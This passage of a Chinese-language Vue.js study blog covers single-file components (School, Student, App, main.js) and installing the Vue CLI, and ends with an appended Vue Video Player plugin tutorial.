				alert(this.name)
			}
		},
	}
</script>



<style>
/*这个.demo就是HTML的选择器名称  */
	.demo{
		background-color: orange;
	}
</style>
<!--

结构如下:

    在Vue中支持以下三个标签 其他的不支持  在以下标签中书写需要书写的相关格式
<template>
组件的结构  也就是div 等格式
</template>


<script>
  组件交互相关代码(数据,方法等)
</script>


<style>

  组件的样式
</style>


-->


<template>
 <div>
  <h2>学生姓名:{{name}}</h2>
  <h2>学生年龄:{{age}}</h2>
 </div>
</template>

<script>
  export default {
  name:'Student',//与文件名称保持一致
  data(){
   return {
    name:'吴邪',
    age:18
   }
  }
 }
</script>
<!--书写APP  汇总所有的组件-->
<template>
 <div class="root">
<!--    使用组件 在使用之前必须注意 模板里面必须要一个根元素

一定要有根元素一定有根元素  这个div就是根元素 这也就是为什么在vue模板里面没有书写div标签的原因 
-->
  <School></School>
  <Student></Student>
 </div>
</template>

<script>
 //引入组件
 import School from './School.vue'
 import Student from './Student.vue'

 export default {
  name:'App',
  components:{//注册组件
   School,
   Student
  }
 }
</script>
<style>
.root{
  
  background-color: #00aa00;
  
}


</style>
<!--书写APP  汇总所有的组件-->
<template>
 <div class="rootTest">
<!--    使用组件 在使用之前必须注意 模板里面必须要一个根元素

一定要有根元素一定有根元素  这个div就是根元素 这也就是为什么在vue模板里面没有书写div标签的原因
-->
  <School></School>
  <Student></Student>
 </div>
</template>

<script>
 //引入组件
 import School from './School.vue'
 import Student from './Student.vue'

 export default {
  name:'App',
  components:{//注册组件
   School,
   Student
  }
 }
</script>
<style>
.rootTest{

  background-color: #00aa00;

}


</style>
//接下来创建main.js文件 导入App.vue文件
import App from './App.vue'

new Vue({
   el:'#root',
   template:`<App></App>`,
   components:{App},
})
<!DOCTYPE html>
<html>
   <head>
      <meta charset="UTF-8" />
      <title>练习一下单文件组件的语法</title>
   </head>
   <body>
      <!-- 准备一个容器 -->
      <div id="root"></div>
       <script type="text/javascript" src="../js/vue.js"></script>
       <script type="text/javascript" src="./main.js"></script>
   </body>
</html>

这个文件无法运行,要使用后面的脚手架才可以

第二十章:脚手架

脚手架使用:
1.第一步:全局安装@vue.cli
	npm install -g @vue/cli
2.第二部:切换到要创建项目的目录。然后使用命令创建项目
	vue.create 名称
3.第三步:启动项目
	npm run serve

配置环境变量:使用cmd下载完成后 ,
cmd打开 开始创建



ello)

	//创建vm
	const vm = new Vue({
		el:'#root',
		components:{school,hello}//添加组件
	})
</script>
一个重要的内置关系
<div id="rootCV">

	<student></student>
</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	Vue.prototype.x = 99

	//定义school组件
	const school = Vue.extend({
		name:'school',
		template:`
			<div>
				<h2>学校名称:{{name}}</h2>	
				<h2>学校地址:{{address}}</h2>	
				<button @click="showX">点我输出x</button>
			</div>
		`,
		data(){
			return {
				name:'计算机科学与技术学院',
				address:'北京'
			}
		},
		methods: {
			showX(){
				console.log(this.x)
			}
		},
	})

	//定义school组件
	const student = Vue.extend({
		name:'school',
		template:`
			<div>
				<h2>学校名称:{{name}}</h2>
				<h2>学校地址:{{address}}</h2>
				<button @click="showX">点我输出x</button>
			</div>
		`,
		data(){
			return {
				name:'计算机科学与技术学院',
				address:'北京'
			}
		},
		methods: {
			showX(){
				console.log(this.x)
			}
		},
	})


	const vx=new Vue({
		el:'#rootCV',
		data:{

			nameText:'吴邪'
		},
		components: {student}


	})


	//创建一个vm
	const vm = new Vue({
		el:'#root',
		data:{
			msg:'你好'
		},
		components:{school}
	})

	
	//定义一个构造函数
	/* function Demo(){
		this.a = 1
		this.b = 2
	}
	//创建一个Demo的实例对象
	const d = new Demo()

	console.log(Demo.prototype) //显示原型属性

	console.log(d.__proto__) //隐式原型属性

	console.log(Demo.prototype === d.__proto__)

	//程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
	Demo.prototype.x = 99

	console.log('@',d) */

</script>

# 第十九章:单文件组件

以:xxxx.Vue称为vue文件

学校名称:{{name}}

学校地址:{{address}}


学生姓名:{{name}}

学生年龄:{{age}}


一定要有根元素一定有根元素 这个div就是根元素 这也就是为什么在vue模板里面没有书写div标签的原因
–>


一定要有根元素一定有根元素 这个div就是根元素 这也就是为什么在vue模板里面没有书写div标签的原因
–>


//接下来创建main.js文件 导入App.vue文件
import App from ‘./App.vue’

new Vue({
el:‘#root’,
template:<App></App>,
components:{App},
})


练习一下单文件组件的语法

这个文件无法运行,要使用后面的脚手架才可以


# 第二十章:脚手架

脚手架使用:
1.第一步:全局安装@vue.cli
npm install -g @vue/cli
2.第二部:切换到要创建项目的目录。然后使用命令创建项目
vue.create 名称
3.第三步:启动项目
npm run serve

配置环境变量:使用cmd下载完成后 ,
cmd打开 开始创建


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Vue Video Player是一个基于Vue.js的视频播放器插件,它支持HTML5视频、Flash视频和YouTube视频播放。下面是Vue Video Player的完整教程。 1. 安装 使用npm安装: ``` npm install vue-video-player --save ``` 2. 加载 在Vue中加载Vue Video Player: ```js import VueVideoPlayer from 'vue-video-player' import 'video.js/dist/video-js.css' Vue.use(VueVideoPlayer) ``` 3. 使用 在Vue组件中使用Vue Video Player: ```html <template> <div> <video-player ref="player" :options="playerOptions"></video-player> </div> </template> <script> export default { data() { return { playerOptions: { autoplay: false, controls: true, sources: [{ type: 'video/mp4', src: 'https://example.com/video.mp4' }] } } }, mounted() { this.$refs.player.play() } } </script> ``` 4. 配置 Vue Video Player支持许多选项,您可以在playerOptions中设置它们: ```js playerOptions: { autoplay: false, controls: true, sources: [{ type: 'video/mp4', src: 'https://example.com/video.mp4' }], techOrder: ['html5', 'flash'], poster: 'https://example.com/poster.jpg', language: 'en', playbackRates: [0.5, 1, 1.5, 2], fluid: true, aspectRatio: '16:9', muted: false, loop: false, preload: 'auto', notSupportedMessage: '此视频格式不受支持', controlBar: { timeDivider: true, durationDisplay: true, remainingTimeDisplay: false, fullscreenToggle: true, volumePanel: { inline: false } } } ``` 5. 事件 Vue Video Player还提供了一些事件,您可以在Vue组件中监听它们: ```html <template> <div> <video-player ref="player" :options="playerOptions" @play="onPlay"></video-player> </div> </template> <script> export default { data() { return { playerOptions: { autoplay: false, controls: true, sources: [{ type: 'video/mp4', src: 'https://example.com/video.mp4' }] } } }, mounted() { this.$refs.player.play() }, methods: { onPlay() { console.log('播放器已开始播放') } } } </script> ``` 常用事件包括: - play:播放器开始播放 - pause:播放器暂停 - ended:播放器播放完成 - error:播放器出错 - timeupdate:播放器时间更新 6. 自定义皮肤 Vue Video Player使用video.js作为底层技术,您可以使用video.js的皮肤或自定义皮肤。 使用video.js的皮肤: ```js import 'video.js/dist/video-js.css' import 'video.js/dist/skin-flat.css' ``` 自定义皮肤: ```scss .video-js { /* 控制栏 */ .vjs-control-bar { /* 背景颜色 */ background-color: #333; /* 文字颜色 */ color: #fff; /* 进度条 */ .vjs-progress-control { .vjs-progress-holder { .vjs-play-progress, .vjs-load-progress { /* 进度条颜色 */ background-color: #fff; } } } /* 播放暂停按钮 */ .vjs-play-control, .vjs-pause-control { &:before { /* 图标颜色 */ color: #fff; } } /* 时间显示 */ .vjs-time-control { /* 时间颜色 */ color: #fff; } /* 全屏按钮 */ .vjs-fullscreen-control { &:before { /* 图标颜色 */ color: #fff; } } /* 音量控制 */ .vjs-volume-panel { /* 静音按钮 */ .vjs-mute-control { &:before { /* 图标颜色 */ color: #fff; } } } } /* 播放器 */ .vjs-big-play-button { /* 播放按钮 */ &:before { /* 图标颜色 */ color: #fff; } } /* 加载条 */ .vjs-loading-spinner:before { border-color: transparent transparent transparent #fff; } } ``` 7. 更多 完整的Vue Video Player文档可在GitHub上找到:https://github.com/surmon-china/vue-video-player Vue Video Player支持的选项和事件与video.js相同,详情请参阅video.js文档:https://docs.videojs.com/

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值